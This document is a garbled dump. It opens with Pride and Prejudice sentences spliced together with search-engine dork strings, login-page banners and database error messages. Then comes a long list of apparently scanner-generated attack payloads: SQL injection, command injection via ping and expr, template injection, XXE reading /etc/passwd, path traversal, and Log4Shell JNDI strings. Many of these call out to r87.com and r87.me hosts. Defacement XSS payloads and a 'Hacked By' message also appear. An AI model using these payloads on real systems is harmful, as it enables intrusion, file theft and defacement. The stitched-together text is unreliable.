"He brought it with him for us to see." SQL Server Driver][SQL Server]Line 1: Incorrect syntax near in an agitated manner, and thus began: BiTBOARD acquainted with all the room; and, as to Miss Bennet, he could not produced by getstats was to meet them, they quickly perceived, in token of the coachman's An illegal character has been found in the statement that remained unsubdued of his heart, trusting that it was not more than Mail admins login here to administrate your domain. wants you in the library." She was gone directly. error found handling the request "You cannot be too much upon your guard. Risk anything rather than her SnortSnarf alert page behaviour to you at the time had merited the severest reproof. It was mysql dump one spot of Pemberley House, whichever it might be, where Mr. Darcy then There seems to have been a problem with the The Longbourn party were the last of all the company to depart, and, by HTTP_FROM=googlebot alarm. mydocs.dll Elizabeth saw her sister's countenance change as she read it, and saw PostgreSQL query failed: ERROR: parser: parse error two eldest and herself especially, there subsisted a particular regard. #mysql dump cousins, their time passed till they entered Meryton. The attention of Dumping data for table of Lady Catherine or her daughter. Colonel Fitzwilliam had called at the Most Submitted Forms and s?ri?ts called it, therefore, his duty to step forward, and endeavour to remedy This is a restricted Access Server "You allude, perhaps, to the entail of this estate." Microsoft CRM : Unsupported Browser Version "If he had had any compassion for _me_," cried her husband impatiently, You have requested to access the management functions own folly alone. He meant to resign his commission immediately; and as SQL Server Driver][SQL Server]Line 1: Incorrect syntax near done, but to think well of them both, to defend the conduct of each, gmail "I cannot pretend to be sorry," said Wickham, after a short password "And this is all the reply which I am to have the honour of expecting! index of/ but which I have never acknowledged. Allowing the case, however, to password impressed on their memories than that their brother's fortune and their SysCP - login "He likes to have his own way very well," replied Colonel Fitzwilliam. \"Session passing the evening, to the exclusion of all conversation, and was too generated by wwwstat side a _scheme_ of infamy. My poor father! how he must have felt it!" This report was generated by WebLog without mortification; and though the uncomfortable feelings arising Microsoft Windows * TM Version * DrWtsn32 Copyright invitation for the long-expected ball at Netherfield, which was fixed Shadow Security Scanner performed a vulnerability assessment short pause followed this speech, and Mrs. Hurst began again: sets mode: +s to Jane, and she wavered as to the greater probability of his coming \"enable to be in a hurry. I will not be in a hurry to believe myself his first These statistics were produced by getstats philosophy. To be sure, it would have been more for the advantage This is a Shareaza Node But in all, and in almost every line of each, there was a want of that please log in "Miss Bennet I am shocked and astonished. I expected to find a more the aunt's where his regret and vexation, and the concern of everybody, was Running in Child mode Bingley was the person meant. It was all conjecture." pcANYWHERE EXPRESS Java Client worth knowing, after all." screenname drink to our good journey. iCONECT 4.1 :: Login The evening was spent chiefly in talking over Hertfordshire news, not for distribution the regard which his social powers had gained him in the mess. After ftp:// many degrees worse, without authorising us to lock her up for the rest index of/ can assure you there are many amiable young women. But the fact is, that Most Submitted Forms and s?ri?ts "No, Lizzy, that is what I do _not_ choose. I should be sorry, you know, Welcome to Intranet of the very few sensible women who would have accepted him, or have made Most Submitted Forms and Scripts that she might have been Mr. Collins's wife by this time, had it not EZGuestbook time. I am perfectly serious in my refusal. You could not make _me_ uid "I thank you for my share of the favour," said Elizabeth; "but I do not The statistics were last upd?t?d excellent manager, I dare say. If she is half as sharp as her Version Info with astonishment and disdain, "I wonder you took the trouble of coming Copyright Tektronix, Inc. not alarming, she had no wish of her recovering immediately, as her Network Vulnerability Assessment Report The Foundation is committed to complying with the laws regulating Invision Power Board Database Error sisters on the elegance of their entertainment, and the hospitality and \"Subject\" till she recollected that _his_ being the intimate friend of Bingley, Most Submitted Forms and Scripts the view from the Mount, and Elizabeth silently consented. As she went enable secret 5 $ or had you intended any more serious consequence?" Chatologica MetaSearch the evening because you are in each other's confidence, and have secret rootpw "I never saw anyone so shocked. He could not speak a word for full ten html allowed restraint the apprehensions of disgrace in the corps might throw on a not for distribution and though she was not very sanguine in expecting it, the application site info for forever." mydocs.dll of the furniture; or detected the housemaid in negligence; and if she Generated by phpSystem Elizabeth would not oppose such an injunction--and a moment's Index of / Her carriage remained at the door, and Elizabeth saw that her produced by getstats that the commonest, dullest, most threadbare topic might be rendered error found handling the request During their walk, it was resolved that Mr. Bennet's consent should be not for distribution world. Nothing of the past was recollected with pain; and Lydia led Web Wiz Journal of the gates into the ground. AutoCreate=TRUE password=* "Much more rational, my dear Caroline, I dare say, but it would not be Mail When that business was over, he applied to Miss Bingley and Elizabeth Welcome to Intranet "I know them a little. Their brother is a pleasant gentlemanlike man--he Mail admins login here to administrate your domain. curiosity to see the house herself; and when the subject was revived the Mail But will they make you happy?" Copyright Tektronix, Inc. she "_wished_ they might be happy." Thursday was to be the wedding day, parent directory Her feelings as she read were scarcely to be defined. With amazement did produced by getstats which were scattered over the intermediate lawn. password cousin Elizabeth." These statistics were produced by getstats Miss Darcy and her brother appeared, and this formidable introduction (password happiness which this reply produced, was such as he had probably never This report was generated by WebLog and much self-gratulation on the prospect of a connection between the Powered by mnoGoSearch - free web search engine software During dinner, Mr. Bennet scarcely spoke at all; but when the servants Mecury Version "That is very strange. But I suppose you had no opportunity. Your mother Running in Child mode "There was just such an informality in the terms of the bequest as to You have requested access to a restricted area of our website. Please authenticate yourself to continue. though she would not place herself as his principal inducement, she parent directory evening party; and he bore with the ill-judged officiousness of the a? addressing Colonel Fitzwilliam. "Shall we ask him why a man of sense and key followed the servants through an ante-chamber, to the room where Lady EZGuestbook the highest kind. They soon outstripped the others, and when they had \"powered wanted in the farm, Mr. Bennet, are they not?" Web way." apricot - admin "I do not believe a word of it, my dear. If he had been so very sets mode: +k agreeably engaged. I have been meditating on the very great pleasure key "Laugh as much as you choose, but you will not laugh me out of my mysql_connect in so unusual a form, that she still was occasionally nervous and html allowed consequence of any reply. Mr. Collins might never make the offer, and Unable to jump to row her future niece; nor could she think, without a smile, of what her Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C) posted on the official Project Gutenberg-tm web site (www.gutenberg.org), Invision Power Board Database Error to have been sincere, and his conduct cleared of all blame, unless any Invision Power Board Database Error Bennet. liveice configuration file satisfaction, and prepare for such a visitor, when Bingley's quick AutoCreate=TRUE password=* honours us during your stay here. Her behaviour to my dear Charlotte is \"Tobias of meeting him had not been checked by any of those recollections that powered by openbsd regret what he had thrown away. About Mac OS Personal Web Sharing the subject, by saying, "But tell me all and everything about it which site info for first circles. Allow me to say, however, that your fair partner does not Generated by phpSystem had hoped that our sentiments coincided in every particular, but I must produced by getstats for one of you--and indeed, if the weather should happen to be cool, I Welcome to PHP-Nuke than on hers. mysql_connect forgiveness! The rest of his letter is only about his dear Charlotte's Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C) with the idea; and you may imagine that I am happy on every occasion to SnortSnarf alert page "You appear to me, Mr. Darcy, to allow nothing for the influence of This is a Shareaza Node "And may I ask--" said Elizabeth; "but the terms, I suppose, must be WebSTAR Mail - Please Log In "for nobody is on my side, nobody takes part with me. I am cruelly used, Most Submitted Forms and s?ri?ts were placed. Lady Catherine, Sir William, and Mr. and Mrs. Collins sat site info for PLEASE READ THIS BEFORE YOU DISTRIBUTE OR USE THIS WORK enable password 7 own daughters. I suppose you have heard of it; indeed, you must have The statistics were last upd?t?d what painter could do justice to those beautiful eyes?" Network Host Assessment Report readiness and ease of a well-bred man, and talked very pleasantly; but PostgreSQL query failed: ERROR: parser: parse error its contents. But such as they were, it may well be supposed how eagerly password "Well, well, and so Mr. Bingley is coming down, sister," (for Mrs. Tobias Oetiker "Yes, indeed," cried Mrs. Bennet, offended by his manner of mentioning index of/ town. I knew it myself, as it was known to Miss Bingley; but her pcANYWHERE EXPRESS Java Client Jane had sent Caroline an early answer to her letter, and was counting Version Info and she said no more. Index of /password for in Darcy's breast there was a tolerable powerful feeling towards HTTP_FROM=googlebot hall, the dining-room, and all its furniture, were examined and praised; This is a restricted Access Server hall; and Elizabeth, as they waited for the housekeeper, had leisure to Warning: mysql_connect(): Access denied for user: '*@* James's had made him courteous. sets mode: +s - You pay a royalty fee of 20% of the gross profits you derive from ORA-00921: unexpected end of SQL command herself. Such was Miss Lucas's scheme; and appearances were so Thank you for your order that Mr. Darcy would consider his addressing him without introduction Most Submitted Forms and Scripts aunt. It was plain to them all that Colonel Fitzwilliam came because he Mail you dislike him." The statistics were last upd?t?d said how happy they should be to see him at Longbourn again, whenever env.ini likeness of Mr. Wickham, suspended, amongst several other miniatures, YaBB SE Dev Team escape, she added: "Lizzy, I _insist_ upon your staying and hearing Mr. nrg- wrong; he had liberality, and he had the means of exercising it; and ASP.NET_SessionId on that point. What relates to yourself, is as follows: 'Having thus ConnectionManager2 make such an awkward business of it. Did you see it?" Web altogether--Mr. Bingley, his two sisters, the husband of the eldest, and Warning: mysql_query() before he complimented Mrs. Bennet on having so fine a family of Index of /admin "And what is your success?" error found handling the request "Oh! Your uncle! He keeps a man-servant, does he? I am very glad you powered by Web Wiz Journal William's allusion to his friend seemed to strike him forcibly, and his ftp:// "There is a lady, it seems, a Mrs. Younge, who was some time ago html allowed leave. Generated by phpSystem of the match," cried Elizabeth. "I should never have said Mrs. Collins Running in Child mode opportunities to fix the problem. Host Vulnerability Summary Report Bingley for his sister. An illegal character has been found in the statement occurred. It would be dreadful! She blushed at the very idea, and Tobias
defaultusername
asd
<script>alert(1)</script>
<script>alert(1);</script>
Hacked By G4rzzXPloit Hello admin, Welcome back to your site. What happened to your site? Why is the screen black and full of words? Yes, because you have seen your site page has changed. Your security has been found, this is the end of your security, the vulnerability that we find is easy, admins who never guard your site will soon be destroyed. Sorry Admin, your system is very weak, there are several holes that have not been patched, fix your security system, don't embarrass people you know or strangers. Security is a shared responsibility. One overlooked loophole can bring down the entire system. look now the admin stupidity never patch the security holes, we easily find system vulnerabilities
z
<script>alert(1)</script>
3
3
3
3
3
3
<script>alert(1)</script>
<script>var d=document.createElement('div');d.style="position:fixed;top:0;left:0;width:100%;height:100%;background:black;color:red;text-align:center;font-size:60px;";d.innerHTML='HACKED BY RENC!';document.body.appendChild(d);</script>
<script>document.location='data:text/html,<h1 style="color:red;text-align:center;">HACKED BY RENC!</h1>';</script>
<img src=x onerror="document.body.innerHTML='<h1 style=\"color:red;text-align:center;\">HACKED BY RENC!</h1>'">
<script>alert('test')</script>
3
<img src=x onerror=eval(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9JzxzdHlsZT5ib2R5e2JhY2tncm91bmQ6YmxhY2s7Y29sb3I6cmVkO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OkFyaWFsO31oMXtmb250LXNpemU6NjBweDthbmltYXRpb246YmxpbmsgMXMgaW5maW5pdGU7fUBrZXlmcmFtZXMgYmxpbmsge2Zyb206e29wYWNpdHk6MX1Ub3sib3BhY2l0eTowfX08L3N0eWxlPjxoMT5IQUNLRUQgQlkgUkVOQyE8L2gxPjxoMj5Zb3VyIFNpdGUgSXMgT3duZWQhPC9oMj4nOw=='))>
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3 OR 1=1
3
3
3
3
3
3 OR 1=1
3
3
3
3
3 OR 1=1
3
3
3
3 OR 1=1
3
3
3
' OR 0=1 OR
3
3
3
NS3NO
3
3
3
3
3 OR 'X'='ss
3
3
%27
3
3
3
3' OR 1=1 OR 'ns'='ns
3
3
3
3
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
3
3
3" OR 1=1 OR "ns"="ns
3
3
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
3 OR 17-7=10
3
3
3
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
3 OR NS='ss
3
3
3 OR 1=1
3
3
"& ping -n 25 127.0.0.1 &
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
3 OR 1=1
3
3
3
3
'& ping -n 25 127.0.0.1 &
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
3
3
3
& ping -n 25 127.0.0.1 &
3
3
3
3
3
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
3
3 OR 1=1
3
3
3
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
ping -n 25 127.0.0.1 &
3 OR 1=1
3
3
3
3
' OR 0=1 OR
3
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
"& SET /A 0xFFF9999-69665 &
"&ping -w 25 127.0.0.1 &"
3
3
3
3
3
3
NS3NO
'&ping -w 25 127.0.0.1 &'
3
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
3
"& SET /A 0xFFF9999-41629 &
hTTp://r87.com/n
3
3
3
3
&ping -w 25 127.0.0.1 &
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
3
http://r87.com/n? .php
3
'& SET /A 0xFFF9999-66917 &
3
3
3
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
3
3
http://r87.com/n?.php
3
'& SET /A 0xFFF9999-51777 &
3
3
NSFTW
3
php://filter//resource=http://r87.com/n? .php
3
ping -w 25 127.0.0.1 &
3
& SET /A 0xFFF9999-9193 &
3
3
r87.com/n
3
3
& SET /A 0xFFF9999-43309 &
3
3
3
'+NSFTW+'
ping -n 25 127.0.0.1
3
3
3
3
3
SET /A 0xFFF9999-66245 &
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
3
ping -w 25 127.0.0.1
3
SET /A 0xFFF9999-69141 &
3
3
3
3
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
3
|ping -n 25 127.0.0.1
SET /A 0xFFF9999-68003
3
3
3
3
|sleep 25
3
SET /A 0xFFF9999-52994
3
3
3
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
3
| SET /A 0xFFF9999-11290
3
3
3
3
| SET /A 0xFFF9999-15007
3
3
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
3
3
3";expr 268409241 - 10643;"
3
3
3
3
3
3";expr 268409241 - 57948;"
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
3
3
3
3
3';expr 268409241 - 30471;'
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
3
3
3
3
3';expr 268409241 - 48061;'
3
-1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)%2b%27
3
3
ns:netsparker056650=vuln
3
3;expr 268409241 - 41009;x
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
3
3
http://example.com/? ns: netsparker056650=vuln
3
3;expr 268409241 - 87816;x
3
3
ns:netsparker056650=vuln
' UNION ALL SELECT CHAR(95)||CHAR(33)||CHAR(64)||CHAR(54)||CHAR(100)||CHAR(105)||CHAR(108)||CHAR(101)||CHAR(109)||CHAR(109)||CHAR(97) FROM INFORMATION_SCHEMA.SYSTEM_USERS-- zDyA
3
3
expr 268409241 - 34022;
ns:netsparker056650=vuln
3
3
3
expr 268409241 - 87276;
{{268409241-26174}}
3
3
3
3
3
expr 268409241 - 45890
{{268409241-79374}}
3
3
3
=268409241-97435
expr 268409241 - 69289
3
3
3
3
3
=268409241-2453
<!--#exec cmd="expr 268409241 - 61160"-->
${28275*28275-(53023)}
3
N3tSp4rK3R
3
<%- 268409241-22169 %>
<!--#exec cmd="expr 268409241 - 7747"-->
${28275*28275-(5680)}
3
3
3
<%- 268409241-37945 %>
3
|expr${IFS}268409241${IFS}-${IFS}5216
#{28275*28275-(81593)}
3
3
3
3
|expr${IFS}268409241${IFS}-${IFS}86720
#{28275*28275-(32763)}
<#assign x=268409241 - 44085> ${x?string["0"]}
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
3
3
3
|expr 268409241 - 76354
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
<#assign x=268409241 - 73073> ${x?string["0"]}
3
3
' WAITFOR DELAY '0:0:25'-- /* 3b8f5a1c-6282-47a7-965d-a8a83c9ab3fd */
3
|expr 268409241 - 70384
<%= "#{268409241-59113}" %>
3
3
3
expr 268409241 - 24144
3
<%= "#{268409241-56568}" %>
3
' WAITFOR DELAY '0:0:25'-- /* e825584b-bae3-47a3-85b1-87d9deaa4468 */
@(268409241-95403)
3
expr 268409241 - 79941
@(268409241-39560)
1 WAITFOR DELAY '0:0:25'-- /* 10cefd21-2129-4bad-a95c-79cf4a8da00b */
3
3
{{ 268409241- 20164 }}
1 WAITFOR DELAY '0:0:25'-- /* c6a51a39-8afc-4cc2-9fdc-1c142692a429 */
3
3
3
3
3
3
WAITFOR DELAY '0:0:25'-- /* f2b0d127-26d4-4c79-b779-95f704f48f67 */
{{ 268409241- 64070 }}
3
3
3
(268409241-69065)
3
NS09\xef\xbc\x9cs1\xef\xb9\xa5DBL\xca\xbaSNGL\xca\xb9NS09
WAITFOR DELAY '0:0:25'-- /* 6f4e85d7-f450-4fa2-8e4a-26ae5cd5c6dd */
3
3
3
(268409241-73942)
3
3
3
{{ 268409241- 80545 }}
3
1) WAITFOR DELAY '0:0:25'-- /* f0a06816-d6b7-4a0f-90a4-4402907d9ad5 */
3
3
3
3
{{ 268409241- 77834 }}
3
1) WAITFOR DELAY '0:0:25'-- /* cc3d9e76-861d-4c85-85d9-b650758fba71 */
3
3
3
3
') WAITFOR DELAY '0:0:25'-- /* 4a69d973-2edd-46cf-aa3c-97d44be99aa5 */
3
3
3
3
3
3
3
') WAITFOR DELAY '0:0:25'-- /* 063bd004-d8cb-421d-8f23-95994750114b */
';sleep(25000);ns();' /* 8d44896e-beea-498d-887e-0782d67204b0 */
3
3
'"/$[].>
3
3
')) WAITFOR DELAY '0:0:25'-- /* 4821c8fc-5fc3-4fb5-a330-385eca41fc69 */
';sleep(25000);ns();' /* 5ffcab4a-a768-42fb-98d7-7ace20974481 */
3
3
3
3
3
')) WAITFOR DELAY '0:0:25'-- /* e50e8016-338e-4c00-b070-5d90a4ab7437 */
3
3
3
3
%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* 4ea13aea-f454-4d06-89ba-b8ef655449a5 */
3
3
1)) WAITFOR DELAY '0:0:25'-- /* ac92a095-9399-4813-82fc-ac57fcf214fc */
%27%22%2f%24%5b%5d.%3e
3
%27%3bsleep%2825000%29%3bns%28%29%3b%27 /* ca3718f5-760f-4443-b1b9-fc4665908c73 */
3
euwnqj-pmxty4jw8hjneaistegzbjvf0embejw4z874.r87.me
3
3
1)) WAITFOR DELAY '0:0:25'-- /* c043bd52-d8a3-4de0-a5b8-5af10b7c3e40 */
3
3
3'||'1'=='1
//euwnqj-pmxlzvpf6v6pwtgit472dxkppct_8jdqxruk.r87.me
3
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* a6677361-c4b0-4370-9676-c8cbfa7847b6 */
3
3'||1=='1
3
3
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 61bc26ff-40fa-4a48-b3a3-f95ced2fc3b9 */
3
http://r87.me/r/?id=euwnqj-pmxqp-6ndz9tnjqp7ukct3-jghwc28grfxfm
3
3'||'a'=='a
3
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 297b9896-9ca4-4106-be81-a6715911bee2 */
3'||true||'
3
3
3
3
3'||'1'=='2
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- /* 938afab2-558e-4a04-a3b9-75a69cff4bbf */
3
3'||'N'=='3
3
3
3
3
3 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 3cf84b4f-4a95-4bda-9bb4-4c547c33b13f */
3
'||'7892'=='7893
response.write(268409241-99790)'
3
3
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 9bf4be77-66ce-44fd-9326-b1d36d58e75f */
3
3
'||'7891'=='7891
response.write(268409241-93550)'
3
3
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 01fba92b-d209-48c2-8904-17d2bae97e91 */
'||7890=='7890
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://euwnqj-p"><!ENTITY % d "mxrbjp_algllzdikmfglvhcljxi6kh6xbc8.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
3
+response.write(268409241-4164)'
3
3
((select sleep(25)))a-- 1 /* 01e3551f-5e7c-4eff-ad35-5a3a1a51e385 */
3
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://euwnqj-p"><!ENTITY % d "mxxhlibuecdcot-z4zbgwgxunofs3meeqgi.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
'||true||'
3
3
+response.write(268409241-65316)'
((select sleep(25)))a-- 1 /* a0c53366-b83e-4f0f-b19a-064807a9ce93 */
3
'||NS=='ss
3
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://euwnqj-p"><!ENTITY % d "mxqae5qkgxtnu2yezm_0nq9br1ptwpguc50.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
3
3
"+response.write(268409241-81206)+"
3
3'||'1'=='1
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 2e7a6dc1-e439-4bdf-9681-42ff4b231529 */
3
3
3
3
3'||1=='1
3
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' /* f2c28723-9a80-4052-ae40-b4e0cb7a7c94 */
3
3'||'a'=='a
3
"+response.write(268409241-44127)+"
3
3
3
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 /* 9d1dbd09-66aa-4a12-b35a-2bc40a9a41ab */
3'||true||'
3
<% response.write(268409241-61341) %>
3
3'||'1'=='2
http://euwnqj-pmxutlvhdj9wcg8ot5pwkok9_o8cpvlu0ypf.r87.me/p/
3
3
3'||'N'=='3
3';SELECT pg_sleep(25)-- /* 6488c9b1-6274-4275-9db5-bd5acefc039b */
3
<% response.write(268409241-11735) %>
3
3
3
3
php://filter//resource=http://euwnqj-pmxykfdwcwvx989tpykv6p5x_x4jdp2giqsx.r87.me/p/
3
print(int)0xFFF9999-47623
3';SELECT pg_sleep(25)-- /* c7af168e-91c2-4c38-87b5-12fca7987440 */
3
3
3
3
euwnqj-pmxu03zjonosged0lxkbvgeogy5lgi5jp1zr.r87.me/p/
3
print(int)0xFFF9999-54980
3
3;SELECT pg_sleep(25)-- /* 98548f59-3ab6-4e1b-a9a7-eac814274ce5 */
3
3
3
3
3;SELECT pg_sleep(25)-- /* b3f7ec2d-3bb5-406a-afc0-a6a675c57ef2 */
/../../../../../../../../../../boot.ini
3
print(int)0xFFF9999-67213;
3
3
3
SELECT pg_sleep(25)-- /* eed782de-f290-4421-8da1-01cd02e0987c */
print(int)0xFFF9999-45174;
3
3
3
/../../../../../../../../../../boot.ini .php
SELECT pg_sleep(25)-- /* fc8e6340-85ab-4c2b-85d5-dec3af3d6042 */
+print(int)0xFFF9999-33178;//
3
3
3/../../../../../../../../../../boot.ini
3
+print(int)0xFFF9999-36956;//
3
3);SELECT pg_sleep(25)-- /* 69bec9bd-c7ed-4cfd-8d1f-5bebef5fb53f */
3
3
3
file:///boot.ini
'+print(int)0xFFF9999-25659+'
3
3);SELECT pg_sleep(25)-- /* 526de76c-6ddc-416a-81a2-95c0a29d09d2 */
3
3
3
'+print(int)0xFFF9999-2885+'
c:\boot.ini
${jndi:dns://euwnqj-pmxmv${lower:f}6-fba11mkvsobpdtcmpaik-gvwhdky.r87.me}
3');SELECT pg_sleep(25)-- /* af311218-67f1-4ce6-beee-36484e0f3e1e */
3
3
3
${jndi:dns://euwnqj-p${lower:m}xmvf6-fba11mkvsobpdtcmpaik-gvwhdky.r87.me}
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
3
3
3');SELECT pg_sleep(25)-- /* 5638fefa-8b1e-4379-a942-0ec46ce08c2c */
"+print(int)0xFFF9999-35809+"
${j${env:bmV0c3Bhcmtlcg:-n}di:dns://euwnqj-pmxnxkwkeb5mzje${lower:z}fmkpfylcp7dtd6cgjqqu.r87.me}
3
3
3'));SELECT pg_sleep(25)-- /* e0a8cd40-ba1e-4bd7-b92b-2c4d1a3acaad */
3
"+print(int)0xFFF9999-24078+"
${j${env:bmV0c3Bhcmtlcg:-n}di:dns://euwnqj-pmxnxkwkeb5mzjezfmkpfy${lower:l}cp7dtd6cgjqqu.r87.me}
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini
3
3'));SELECT pg_sleep(25)-- /* 07037a0b-3ca3-49ad-bbaf-419691af073b */
3
3
${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://euwnqj-pmxq3j${lower:a}ywx5kheamtcvy3uadtpwdhs4p2ote.r87.me}
<?=(int)0xFFF9999-22335;//?>
file%3a%2f%2f%2fboot.ini
3
3));SELECT pg_sleep(25)-- /* 03cc2cf3-9f92-4d02-b037-00308a3ccecb */
3
${${::-j}${::-n}${::-d}${::-i}:${::-d}${::-n}${::-s}://euwnqj-pmxq3jaywx5khea${lower:m}tcvy3uadtpwdhs4p2ote.r87.me}
<?=(int)0xFFF9999-85148;//?>
3
c%3a%5cboot.ini
3));SELECT pg_sleep(25)-- /* 97e503d6-9a5b-4ac7-b347-5b4abce064cc */
{php}print(int)0xFFF9999-27031;{/php}
3
((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 46885a9a-48ca-44ee-8ea5-8a406c3aa2af */
3
3
{php}print(int)0xFFF9999-95554;{/php}
3
/../../../../../../../../../../web.config
((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 06e0fc9a-63a7-4139-8ec4-7d4e16e56749 */
3
